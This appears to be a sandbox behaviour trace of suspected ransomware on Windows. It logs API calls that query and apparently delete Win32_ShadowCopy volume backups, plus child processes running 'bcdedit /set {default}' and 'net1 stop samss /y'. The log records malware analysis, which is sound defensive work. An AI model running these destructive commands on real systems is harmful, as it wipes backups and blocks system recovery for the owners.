	[0255.751] lstrlenW (lpString="CREATE") returned 6
	[0255.751] lstrlenW (lpString="delete") returned 6
	[0255.751] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="delete", cchCount1=6, lpString2="CREATE", cchCount2=6) returned 3
	[0255.751] lstrlenW (lpString="CALL") returned 4
	[0255.751] lstrlenW (lpString="delete") returned 6
	[0255.751] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="delete", cchCount1=6, lpString2="CALL", cchCount2=4) returned 3
	[0255.751] lstrlenW (lpString="ASSOC") returned 5
	[0255.751] lstrlenW (lpString="delete") returned 6
	[0255.751] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="delete", cchCount1=6, lpString2="ASSOC", cchCount2=5) returned 3
	[0255.751] lstrlenW (lpString="DELETE") returned 6
	[0255.751] lstrlenW (lpString="delete") returned 6
	[0255.752] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="delete", cchCount1=6, lpString2="DELETE", cchCount2=6) returned 2
	[0255.752] lstrlenW (lpString="Select * from Win32_ShadowCopy") returned 30
	[0255.752] malloc (_Size=0x3e) returned 0x12cb10
	[0255.752] lstrlenW (lpString="Select * from Win32_ShadowCopy") returned 30
	[0255.752] wcstok (in: _String="Select * from Win32_ShadowCopy", _Delimiter=" ", _Context=0xffffffffffffff60 | out: _String="Select", _Context=0xffffffffffffff60) returned="Select"
	[0255.752] malloc (_Size=0x18) returned 0x129700
	[0255.752] wcstok (in: _String=0x0, _Delimiter=" ", _Context=0x0 | out: _String=0x0, _Context=0x0) returned="*"
	[0255.752] lstrlenW (lpString="FROM") returned 4
	[0255.752] lstrlenW (lpString="*") returned 1
	[0255.752] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="*", cchCount1=1, lpString2="FROM", cchCount2=4) returned 1
	[0255.752] malloc (_Size=0x18) returned 0x129680
	[0255.752] free (_Block=0x129700) 
	[0255.752] wcstok (in: _String=0x0, _Delimiter=" ", _Context=0x53009a007c0006 | out: _String=0x0, _Context=0x53009a007c0006) returned="from"
	[0255.753] lstrlenW (lpString="FROM") returned 4
	[0255.753] lstrlenW (lpString="from") returned 4
	[0255.753] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="from", cchCount1=4, lpString2="FROM", cchCount2=4) returned 2
	[0255.753] malloc (_Size=0x18) returned 0x129700
	[0255.753] free (_Block=0x129680) 
	[0255.753] wcstok (in: _String=0x0, _Delimiter=" ", _Context=0x53009b007c0006 | out: _String=0x0, _Context=0x53009b007c0006) returned="Win32_ShadowCopy"
	[0255.753] malloc (_Size=0x18) returned 0x129680
	[0255.753] free (_Block=0x129700) 
	[0255.753] free (_Block=0x12cb10) 
	[0255.753] free (_Block=0x129680) 
	[0255.753] lstrlenW (lpString="SET") returned 3
	[0255.754] lstrlenW (lpString="delete") returned 6
	[0255.754] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="delete", cchCount1=6, lpString2="SET", cchCount2=3) returned 1
	[0255.754] lstrlenW (lpString="CREATE") returned 6
	[0255.754] lstrlenW (lpString="delete") returned 6
	[0255.754] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="delete", cchCount1=6, lpString2="CREATE", cchCount2=6) returned 3
	[0255.754] free (_Block=0x1295c0) 
	[0255.754] malloc (_Size=0x8) returned 0x12cb10
	[0255.754] lstrlenW (lpString="GET") returned 3
	[0255.754] lstrlenW (lpString="delete") returned 6
	[0255.754] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="delete", cchCount1=6, lpString2="GET", cchCount2=3) returned 1
	[0255.754] lstrlenW (lpString="LIST") returned 4
	[0255.754] lstrlenW (lpString="delete") returned 6
	[0255.754] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="delete", cchCount1=6, lpString2="LIST", cchCount2=4) returned 1
	[0255.754] lstrlenW (lpString="ASSOC") returned 5
	[0255.754] lstrlenW (lpString="delete") returned 6
	[0255.754] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="delete", cchCount1=6, lpString2="ASSOC", cchCount2=5) returned 3
	[0255.754] WbemLocator:IUnknown:AddRef (This=0x1e01390) returned 0x3
	[0255.754] free (_Block=0x35dfb0) 
	[0255.755] lstrlenW (lpString="") returned 0
	[0255.755] lstrlenW (lpString="XDUWTFONO") returned 9
	[0255.755] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="XDUWTFONO", cchCount1=9, lpString2="", cchCount2=0) returned 3
	[0255.755] lstrlenW (lpString="XDUWTFONO") returned 9
	[0255.755] malloc (_Size=0x14) returned 0x1295c0
	[0255.755] lstrlenW (lpString="XDUWTFONO") returned 9
	[0255.755] GetCurrentThreadId () returned 0x30d0
	[0255.755] GetCurrentProcess () returned 0xffffffffffffffff
	[0255.755] OpenProcessToken (in: ProcessHandle=0xffffffffffffffff, DesiredAccess=0x28, TokenHandle=0x1af640 | out: TokenHandle=0x1af640*=0x280) returned 1
	[0255.755] GetTokenInformation (in: TokenHandle=0x280, TokenInformationClass=0x3, TokenInformation=0x0, TokenInformationLength=0x0, ReturnLength=0x1af638 | out: TokenInformation=0x0, ReturnLength=0x1af638) returned 0
	[0255.755] malloc (_Size=0x118) returned 0x12cb30
	[0255.755] GetTokenInformation (in: TokenHandle=0x280, TokenInformationClass=0x3, TokenInformation=0x12cb30, TokenInformationLength=0x118, ReturnLength=0x1af638 | out: TokenInformation=0x12cb30, ReturnLength=0x1af638) returned 1
	[0255.755] AdjustTokenPrivileges (in: TokenHandle=0x280, DisableAllPrivileges=0, NewState=0x12cb30*(PrivilegesCount=0x17, Privileges=((Luid.LowPart=0x5, Luid.HighPart=0, Attributes=0x2), (Luid.LowPart=0x0, Luid.HighPart=2, Attributes=0x9), (Luid.LowPart=0x2, Luid.HighPart=10, Attributes=0x0), (Luid.LowPart=0xb, Luid.HighPart=0, Attributes=0x2), (Luid.LowPart=0x0, Luid.HighPart=2, Attributes=0xd), (Luid.LowPart=0x2, Luid.HighPart=14, Attributes=0x0), (Luid.LowPart=0xf, Luid.HighPart=0, Attributes=0x2), (Luid.LowPart=0x0, Luid.HighPart=2, Attributes=0x12), (Luid.LowPart=0x2, Luid.HighPart=19, Attributes=0x0), (Luid.LowPart=0x14, Luid.HighPart=0, Attributes=0x2), (Luid.LowPart=0x0, Luid.HighPart=2, Attributes=0x17), (Luid.LowPart=0x3, Luid.HighPart=24, Attributes=0x0), (Luid.LowPart=0x19, Luid.HighPart=0, Attributes=0x2), (Luid.LowPart=0x0, Luid.HighPart=2, Attributes=0x1d), (Luid.LowPart=0x3, Luid.HighPart=30, Attributes=0x0), (Luid.LowPart=0x21, Luid.HighPart=0, Attributes=0x2), (Luid.LowPart=0x0, Luid.HighPart=2, Attributes=0x23), (Luid.LowPart=0x2, Luid.HighPart=974461028, Attributes=0xe989), (Luid.LowPart=0x0, Luid.HighPart=3530672, Attributes=0x0), (Luid.LowPart=0x22, Luid.HighPart=889193270, Attributes=0xe99e), (Luid.LowPart=0x0, Luid.HighPart=1179992, Attributes=0x0), (Luid.LowPart=0x0, Luid.HighPart=0, Attributes=0x0), (Luid.LowPart=0x0, Luid.HighPart=0, Attributes=0x0))), BufferLength=0x0, PreviousState=0x0, ReturnLength=0x0 | out: PreviousState=0x0, ReturnLength=0x0) returned 1
	[0255.755] free (_Block=0x12cb30) 
	[0255.756] CloseHandle (hObject=0x280) returned 1
	[0255.756] lstrlenW (lpString="GET") returned 3
	[0255.756] lstrlenW (lpString="delete") returned 6
	[0255.756] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="delete", cchCount1=6, lpString2="GET", cchCount2=3) returned 1
	[0255.756] lstrlenW (lpString="LIST") returned 4
	[0255.756] lstrlenW (lpString="delete") returned 6
	[0255.756] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="delete", cchCount1=6, lpString2="LIST", cchCount2=4) returned 1
	[0255.756] lstrlenW (lpString="SET") returned 3
	[0255.756] lstrlenW (lpString="delete") returned 6
	[0255.994] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="delete", cchCount1=6, lpString2="SET", cchCount2=3) returned 1
	[0255.994] lstrlenW (lpString="CALL") returned 4
	[0255.995] lstrlenW (lpString="delete") returned 6
	[0255.995] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="delete", cchCount1=6, lpString2="CALL", cchCount2=4) returned 3
	[0255.995] lstrlenW (lpString="ASSOC") returned 5
	[0255.995] lstrlenW (lpString="delete") returned 6
	[0255.995] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="delete", cchCount1=6, lpString2="ASSOC", cchCount2=5) returned 3
	[0255.995] lstrlenW (lpString="CREATE") returned 6
	[0255.995] lstrlenW (lpString="delete") returned 6
	[0255.995] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="delete", cchCount1=6, lpString2="CREATE", cchCount2=6) returned 3
	[0255.995] lstrlenW (lpString="DELETE") returned 6
	[0255.995] lstrlenW (lpString="delete") returned 6
	[0255.995] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="delete", cchCount1=6, lpString2="DELETE", cchCount2=6) returned 2
	[0255.995] malloc (_Size=0x18) returned 0x129680
	[0255.995] lstrlenA (lpString="") returned 0
	[0255.995] malloc (_Size=0x2) returned 0x35dfb0
	[0255.995] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xff1b314c, cbMultiByte=-1, lpWideCharStr=0x35dfb0, cchWideChar=1 | out: lpWideCharStr="") returned 1
	[0255.996] free (_Block=0x35dfb0) 
	[0255.996] malloc (_Size=0x18) returned 0x129700
	[0255.996] lstrlenA (lpString="") returned 0
	[0255.996] malloc (_Size=0x2) returned 0x35dfb0
	[0255.996] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xff1b314c, cbMultiByte=-1, lpWideCharStr=0x35dfb0, cchWideChar=1 | out: lpWideCharStr="") returned 1
	[0255.996] free (_Block=0x35dfb0) 
	[0255.996] lstrlenW (lpString="Select * from Win32_ShadowCopy") returned 30
	[0255.996] malloc (_Size=0x3e) returned 0x12cb30
	[0255.996] lstrlenW (lpString="Select * from Win32_ShadowCopy") returned 30
	[0255.996] wcstok (in: _String="Select * from Win32_ShadowCopy", _Delimiter=" ", _Context=0xffffffffffffff40 | out: _String="Select", _Context=0xffffffffffffff40) returned="Select"
	[0255.996] malloc (_Size=0x18) returned 0x1297a0
	[0255.996] free (_Block=0x129700) 
	[0255.996] wcstok (in: _String=0x0, _Delimiter=" ", _Context=0x53009f006c0005 | out: _String=0x0, _Context=0x53009f006c0005) returned="*"
	[0255.996] lstrlenW (lpString="FROM") returned 4
	[0255.996] lstrlenW (lpString="*") returned 1
	[0255.996] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="*", cchCount1=1, lpString2="FROM", cchCount2=4) returned 1
	[0255.997] malloc (_Size=0x18) returned 0x129700
	[0255.997] free (_Block=0x1297a0) 
	[0255.997] wcstok (in: _String=0x0, _Delimiter=" ", _Context=0x5300a0006c0005 | out: _String=0x0, _Context=0x5300a0006c0005) returned="from"
	[0255.997] lstrlenW (lpString="FROM") returned 4
	[0255.997] lstrlenW (lpString="from") returned 4
	[0255.997] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="from", cchCount1=4, lpString2="FROM", cchCount2=4) returned 2
	[0255.997] malloc (_Size=0x18) returned 0x1297a0
	[0255.997] free (_Block=0x129700) 
	[0255.997] wcstok (in: _String=0x0, _Delimiter=" ", _Context=0x5300a1006c0005 | out: _String=0x0, _Context=0x5300a1006c0005) returned="Win32_ShadowCopy"
	[0255.997] malloc (_Size=0x18) returned 0x129700
	[0255.997] free (_Block=0x1297a0) 
	[0255.997] free (_Block=0x12cb30) 
	[0255.997] malloc (_Size=0x18) returned 0x1297a0
	[0255.997] malloc (_Size=0x18) returned 0x1296a0
	[0255.998] SysStringLen (param_1="SELECT * FROM ") returned 0xe
	[0255.998] SysStringLen (param_1="Win32_ShadowCopy") returned 0x10
	[0255.998] free (_Block=0x129680) 
	[0255.998] free (_Block=0x1297a0) 
	[0255.998] ??0CHString@@QEAA@XZ () returned 0x1af5b0
	[0255.998] GetCurrentThreadId () returned 0x30d0
	[0255.998] malloc (_Size=0x18) returned 0x1297a0
	[0255.998] malloc (_Size=0x18) returned 0x129680
	[0255.998] malloc (_Size=0x18) returned 0x129720
	[0255.998] malloc (_Size=0x18) returned 0x129740
	[0255.998] malloc (_Size=0x18) returned 0x129760
	[0255.998] SysStringLen (param_1="\\\\") returned 0x2
	[0255.998] SysStringLen (param_1="XDUWTFONO") returned 0x9
	[0255.999] malloc (_Size=0x18) returned 0x129780
	[0255.999] SysStringLen (param_1="\\\\XDUWTFONO") returned 0xb
	[0255.999] SysStringLen (param_1="\\") returned 0x1
	[0255.999] malloc (_Size=0x18) returned 0x12cb60
	[0255.999] SysStringLen (param_1="\\\\XDUWTFONO\\") returned 0xc
	[0255.999] SysStringLen (param_1="ROOT\\CIMV2") returned 0xa
	[0255.999] free (_Block=0x129780) 
	[0255.999] free (_Block=0x129760) 
	[0256.000] free (_Block=0x129740) 
	[0256.000] free (_Block=0x129720) 
	[0256.000] free (_Block=0x129680) 
	[0256.000] free (_Block=0x1297a0) 
	[0256.000] malloc (_Size=0x18) returned 0x1297a0
	[0256.000] malloc (_Size=0x18) returned 0x129680
	[0256.000] malloc (_Size=0x18) returned 0x129720
	[0256.000] WbemLocator:IWbemLocator:ConnectServer (in: This=0x1e01390, strNetworkResource="\\\\XDUWTFONO\\ROOT\\CIMV2", strUser=0x0, strPassword=0x0, strLocale="ms_409", lSecurityFlags=0, strAuthority=0x0, pCtx=0x0, ppNamespace=0xff2229d0 | out: ppNamespace=0xff2229d0*=0x1e13c18) returned 0x0
	[0256.256] free (_Block=0x129720) 
	[0256.257] free (_Block=0x129680) 
	[0256.257] free (_Block=0x1297a0) 
	[0256.257] CoSetProxyBlanket (pProxy=0x1e13c18, dwAuthnSvc=0xffffffff, dwAuthzSvc=0x0, pServerPrincName=0x0, dwAuthnLevel=0x6, dwImpLevel=0x3, pAuthInfo=0x0, dwCapabilities=0x0) returned 0x0
	[0256.257] free (_Block=0x12cb60) 
	[0256.257] ??1CHString@@QEAA@XZ () returned 0x7fef337482c
	[0256.257] ??0CHString@@QEAA@XZ () returned 0x1af500
	[0256.257] GetCurrentThreadId () returned 0x30d0
	[0256.257] malloc (_Size=0x18) returned 0x1297a0
	[0256.257] lstrlenA (lpString="") returned 0
	[0256.257] malloc (_Size=0x2) returned 0x35dfb0
	[0256.257] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xff1b314c, cbMultiByte=-1, lpWideCharStr=0x35dfb0, cchWideChar=1 | out: lpWideCharStr="") returned 1
	[0256.258] free (_Block=0x35dfb0) 
	[0256.258] SysStringLen (param_1="SELECT * FROM Win32_ShadowCopy") returned 0x1e
	[0256.258] SysStringLen (param_1="") returned 0x0
	[0256.258] free (_Block=0x1297a0) 
	[0256.258] malloc (_Size=0x18) returned 0x1297a0
	[0256.258] IWbemServices:ExecQuery (in: This=0x1e13c18, strQueryLanguage="WQL", strQuery="SELECT * FROM Win32_ShadowCopy", lFlags=0, pCtx=0x0, ppEnum=0x1af508 | out: ppEnum=0x1af508*=0x1e13d18) returned 0x0
	[0260.878] free (_Block=0x1297a0) 
	[0260.878] CoSetProxyBlanket (pProxy=0x1e13d18, dwAuthnSvc=0xffffffff, dwAuthzSvc=0x0, pServerPrincName=0x0, dwAuthnLevel=0x6, dwImpLevel=0x3, pAuthInfo=0x0, dwCapabilities=0x0) 

Thread:
	id = 2839
	os_tid = 0x325c


Thread:
	id = 3302
	os_tid = 0x3960


Thread:
	id = 3344
	os_tid = 0x3a18


Thread:
	id = 3345
	os_tid = 0x3a1c


Thread:
	id = 3346
	os_tid = 0x3a20


Process:
	id = "58"
	image_name = "bcdedit.exe"
	filename = "c:\\windows\\system32\\bcdedit.exe"
	page_root = "0x1d80000"
	os_pid = "0x32d8"
	os_integrity_level = "0x3000"
	os_privileges = "0x60800000"
	monitor_reason = "child_process"
	parent_id = "49"
	os_parent_pid = "0x2ae8"
	cmd_line = "bcdedit  /set {default}"
	cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\"
	os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz"
	bitness = "32"
	os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e6e5" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7]


Thread:
	id = 2870
	os_tid = 0x32dc


Process:
	id = "59"
	image_name = "net1.exe"
	filename = "c:\\windows\\system32\\net1.exe"
	page_root = "0x8265000"
	os_pid = "0x32e0"
	os_integrity_level = "0x3000"
	os_privileges = "0x60800000"
	monitor_reason = "child_process"
	parent_id = "53"
	os_parent_pid = "0x2fa8"
	cmd_line = "C:\\Windows\\system32\\net1 stop \"samss\" /y"
	cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\"
	os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz"
	bitness = "32"
	os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e6e5" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7]


Thread:
	id = 2871
	os_tid = 0x32e4

	[0251.084] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x12f930 | out: lpSystemTimeAsFileTime=0x12f930*(dwLowDateTime=0x77f34880, dwHighDateTime=0x1d5cdef)) 
	[0251.084] GetCurrentProcessId () returned 0x32e0
	[0251.084] GetCurrentThreadId () returned 0x32e4
	[0251.084] GetTickCount () returned 0x118208c
	[0251.084] QueryPerformanceCounter (in: lpPerformanceCount=0x12f938 | out: lpPerformanceCount=0x12f938*=39264392002) returned 1
	[0251.085] GetModuleHandleW (lpModuleName=0x0) returned 0xffe70000
	[0251.085] __set_app_type (_Type=0x1) 
	[0251.085] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0xffe89c9c) returned 0x0
	[0251.085] __getmainargs (in: _Argc=0xffe94780, _Argv=0xffe94790, _Env=0xffe94788, _DoWildCard=0, _StartInfo=0xffe9479c | out: _Argc=0xffe94780, _Argv=0xffe94790, _Env=0xffe94788) returned 0
	[0251.085] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1
	[0251.085] GetConsoleOutputCP () returned 0x1b5
	[0251.086] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0xffe9cec0 | out: lpCPInfo=0xffe9cec0) returned 1
	[0251.086] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409
	[0251.089] sprintf_s (in: _DstBuf=0x12f8d8, _DstSize=0xc, _Format=".%u" | out: _DstBuf=".437") returned 4
	[0251.089] setlocale (category=0, locale=".437") returned="English_United States.437"
	[0251.092] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7
	[0251.092] GetStdHandle (nStdHandle=0xfffffff4) returned 0xb
	[0251.092] GetCommandLineW () returned="C:\\Windows\\system32\\net1 stop \"samss\" /y"
	[0251.092] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x12f670, nSize=0x104 | out: lpFilename="C:\\Windows\\system32\\net1.exe" (normalized: "c:\\windows\\system32\\net1.exe")) returned 0x1c
	[0251.093] RtlAllocateHeap (HeapHandle=0x250000, Flags=0x0, Size=0x6e) returned 0x26c060
	[0251.093] _wcsnicmp (_String1="/Y", _String2="/y", _MaxCount=0x2) returned 0
	[0251.093] NetApiBufferAllocate (in: ByteCount=0x18, Buffer=0x12f8c8 | out: Buffer=0x12f8c8*=0x264d40) returned 0x0
	[0251.093] NetApiBufferAllocate (in: ByteCount=0x18, Buffer=0x12f8c8 | out: Buffer=0x12f8c8*=0x26c0e0) returned 0x0
	[0251.093] _fileno (_File=0x7fefe122a80) returned 0
	[0251.093] _setmode (_FileHandle=0, _Mode=16384) returned 16384
	[0251.093] _wcsicmp (_String1="accounts", _String2="stop") returned -18
	[0251.094] _wcsicmp (_String1="computer", _String2="stop") returned -16
	[0251.094] _wcsicmp (_String1="config", _String2="stop") returned -16
	[0251.094] _wcsicmp (_String1="continue", _String2="stop") returned -16
	[0251.094] _wcsicmp (_String1="cont", _String2="stop") returned -16
	[0251.094] _wcsicmp (_String1="file", _String2="stop") returned -13
	[0251.094] _wcsicmp (_String1="files", _String2="stop") returned -13
	[0251.094] _wcsicmp (_String1="group", _String2="stop") returned -12
	[0251.094] _wcsicmp (_String1="groups", _String2="stop") returned -12
	[0251.094] _wcsicmp (_String1="help", _String2="stop") returned -11
	[0251.094] _wcsicmp (_String1="helpmsg", _String2="stop") returned -11
	[0251.094] _wcsicmp (_String1="localgroup", _String2="stop") returned -7
	[0251.094] _wcsicmp (_String1="pause", _String2="stop") returned -3
	[0251.094] _wcsicmp (_String1="session", _String2="stop") returned -15
	[0251.094] _wcsicmp (_String1="sessions", _String2="stop") returned -15
	[0251.094] _wcsicmp (_String1="sess", _String2="stop") returned -15
	[0251.094] _wcsicmp (_String1="share", _String2="stop") returned -12
	[0251.094] _wcsicmp (_String1="start", _String2="stop") returned -14
	[0251.094] _wcsicmp (_String1="stats", _String2="stop") returned -14
	[0251.094] _wcsicmp (_String1="statistics", _String2="stop") returned -14
	[0251.094] _wcsicmp (_String1="stop", _String2="stop") returned 0
	[0251.094] _wcsicmp (_String1="accounts", _String2="samss") returned -18
	[0251.094] _wcsicmp (_String1="computer", _String2="samss") returned -16
	[0251.094] _wcsicmp (_String1="config", _String2="samss") returned -16
	[0251.095] _wcsicmp (_String1="continue", _String2="samss") returned -16
	[0251.095] _wcsicmp (_String1="cont", _String2="samss") returned -16
	[0251.095] _wcsicmp (_String1="file", _String2="samss") returned -13
	[0251.095] _wcsicmp (_String1="files", _String2="samss") returned -13
	[0251.095] _wcsicmp (_String1="group", _String2="samss") returned -12
	[0251.095] _wcsicmp (_String1="groups", _String2="samss") returned -12
	[0251.095] _wcsicmp (_String1="help", _String2="samss") returned -11
	[0251.095] _wcsicmp (_String1="helpmsg", _String2="samss") returned -11
	[0251.095] _wcsicmp (_String1="localgroup", _String2="samss") returned -7
	[0251.095] _wcsicmp (_String1="pause", _String2="samss") returned -3
	[0251.095] _wcsicmp (_String1="session", _String2="samss") returned 4
	[0251.095] _wcsicmp (_String1="sessions", _String2="samss") returned 4
	[0251.095] _wcsicmp (_String1="sess", _String2="samss") returned 4
	[0251.095] _wcsicmp (_String1="share", _String2="samss") returned 7
	[0251.095] _wcsicmp (_String1="start", _String2="samss") returned 19
	[0251.095] _wcsicmp (_String1="stats", _String2="samss") returned 19
	[0251.095] _wcsicmp (_String1="statistics", _String2="samss") returned 19
	[0251.095] _wcsicmp (_String1="stop", _String2="samss") returned 19
	[0251.095] _wcsicmp (_String1="time", _String2="samss") returned 1
	[0251.095] _wcsicmp (_String1="user", _String2="samss") returned 2
	[0251.095] _wcsicmp (_String1="users", _String2="samss") returned 2
	[0251.095] _wcsicmp (_String1="msg", _String2="samss") returned -6
	[0251.095] _wcsicmp (_String1="messenger", _String2="samss") returned -6
	[0251.095] _wcsicmp (_String1="receiver", _String2="samss") returned -1
	[0251.096] _wcsicmp (_String1="rcv", _String2="samss") returned -1
	[0251.096] _wcsicmp (_String1="netpopup", _String2="samss") returned -5
	[0251.096] _wcsicmp (_String1="redirector", _String2="samss") returned -1
	[0251.096] _wcsicmp (_String1="redir", _String2="samss") returned -1
	[0251.096] _wcsicmp (_String1="rdr", _String2="samss") returned -1
	[0251.096] _wcsicmp (_String1="workstation", _String2="samss") returned 4
	[0251.096] _wcsicmp (_String1="work", _String2="samss") returned 4
	[0251.096] _wcsicmp (_String1="wksta", _String2="samss") returned 4
	[0251.096] _wcsicmp (_String1="prdr", _String2="samss") returned -3
	[0251.096] _wcsicmp (_String1="devrdr", _String2="samss") returned -15
	[0251.096] _wcsicmp (_String1="lanmanworkstation", _String2="samss") returned -7
	[0251.096] _wcsicmp (_String1="server", _String2="samss") returned 4
	[0251.096] _wcsicmp (_String1="svr", _String2="samss") returned 21
	[0251.096] _wcsicmp (_String1="srv", _String2="samss") returned 17
	[0251.096] _wcsicmp (_String1="lanmanserver", _String2="samss") returned -7
	[0251.096] _wcsicmp (_String1="alerter", _String2="samss") returned -18
	[0251.096] _wcsicmp (_String1="netlogon", _String2="samss") returned -5
	[0251.096] _wcsupr (in: _String="samss" | out: _String="SAMSS") returned="SAMSS"
	[0251.097] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x80000000) returned 0x26cdf0
	[0251.103] GetServiceKeyNameW (in: hSCManager=0x26cdf0, lpDisplayName="SAMSS", lpServiceName=0xffe95750, lpcchBuffer=0x12f7e8 | out: lpServiceName="", lpcchBuffer=0x12f7e8) returned 0
	[0251.105] _wcsicmp (_String1="msg", _String2="SAMSS") returned -6
	[0251.105] _wcsicmp (_String1="messenger", _String2="SAMSS") returned -6
	[0251.105] _wcsicmp (_String1="receiver", _String2="SAMSS") returned -1
	[0251.105] _wcsicmp (_String1="rcv", _String2="SAMSS") returned -1
	[0251.105] _wcsicmp (_String1="redirector", _String2="SAMSS") returned -1
	[0251.105] _wcsicmp (_String1="redir", _String2="SAMSS") returned -1
	[0251.105] _wcsicmp (_String1="rdr", _String2="SAMSS") returned -1
	[0251.105] _wcsicmp (_String1="workstation", _String2="SAMSS") returned 4
	[0251.105] _wcsicmp (_String1="work", _String2="SAMSS") returned 4
	[0251.105] _wcsicmp (_String1="wksta", _String2="SAMSS") returned 4
	[0251.105] _wcsicmp (_String1="prdr", _String2="SAMSS") returned -3
	[0251.105] _wcsicmp (_String1="devrdr", _String2="SAMSS") returned -15
	[0251.105] _wcsicmp (_String1="lanmanworkstation", _String2="SAMSS") returned -7
	[0251.105] _wcsicmp (_String1="server", _String2="SAMSS") returned 4
	[0251.105] _wcsicmp (_String1="svr", _String2="SAMSS") returned 21
	[0251.105] _wcsicmp (_String1="srv", _String2="SAMSS") returned 17
	[0251.105] _wcsicmp (_String1="lanmanserver", _String2="SAMSS") returned -7
	[0251.105] _wcsicmp (_String1="alerter", _String2="SAMSS") returned -18
	[0251.105] _wcsicmp (_String1="netlogon", _String2="SAMSS") returned -5
	[0251.106] NetServiceControl (in: servername=0x0, service="SAMSS", opcode=0x0, arg=0x0, bufptr=0x12f7f0 | out: bufptr=0x12f7f0) returned 0x0
	[0251.108] NetApiBufferAllocate (in: ByteCount=0xfa0, Buffer=0x12f7a8 | out: Buffer=0x12f7a8*=0x270c70) returned 0x0
	[0251.108] OpenServiceW (hSCManager=0x26cdf0, lpServiceName="SAMSS", dwDesiredAccess=0xc) returned 0x26ce50
	[0251.109] QueryServiceStatus (in: hService=0x26ce50, lpServiceStatus=0x12f750 | out: lpServiceStatus=0x12f750*(dwServiceType=0x20, dwCurrentState=0x4, dwControlsAccepted=0x0, dwWin32ExitCode=0x0, dwServiceSpecificExitCode=0x0, dwCheckPoint=0x0, dwWaitHint=0x0)) returned 1
	[0251.109] NetApiBufferFree (Buffer=0x270c70) returned 0x0
	[0251.109] CloseServiceHandle (hSCObject=0x26ce50) returned 1
	[0251.110] wcscpy_s (in: _Destination=0xffe980d0, _SizeInWords=0x104, _Source="NETMSG" | out: _Destination="NETMSG") returned 0x0
	[0251.110] LoadLibraryW (lpLibFileName="NETMSG") returned 0x74580000
	[0251.111] FormatMessageW (in: dwFlags=0x2a00, lpSource=0x74580000, dwMessageId=0x88f, dwLanguageId=0x0, lpBuffer=0xffe95b50, nSize=0x800, Arguments=0xffe97f90 | out: lpBuffer="The requested pause, continue, or stop is not valid for this service.\r\n") returned 0x47
	[0251.115] GetFileType (hFile=0xb) returned 0x2
	[0251.115] GetConsoleMode (in: hConsoleHandle=0xb, lpMode=0x12f648 | out: lpMode=0x12f648) returned 1
	[0251.115] WriteConsoleW (in: hConsoleOutput=0xb, lpBuffer=0xffe95b50*, nNumberOfCharsToWrite=0x47, lpNumberOfCharsWritten=0x12f640, lpReserved=0x0 | out: lpBuffer=0xffe95b50*, lpNumberOfCharsWritten=0x12f640*=0x47) returned 1
	[0251.116] GetFileType (hFile=0xb) returned 0x2
	[0251.116] GetConsoleMode (in: hConsoleHandle=0xb, lpMode=0x12f648 | out: lpMode=0x12f648) returned 1
	[0251.117] WriteConsoleW (in: hConsoleOutput=0xb, lpBuffer=0xffe71efc*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x12f640, lpReserved=0x0 | out: lpBuffer=0xffe71efc*, lpNumberOfCharsWritten=0x12f640*=0x2) returned 1
	[0251.117] _ultow (in: _Dest=0x88f, _Radix=1242800 | out: _Dest=0x88f) returned="2191"
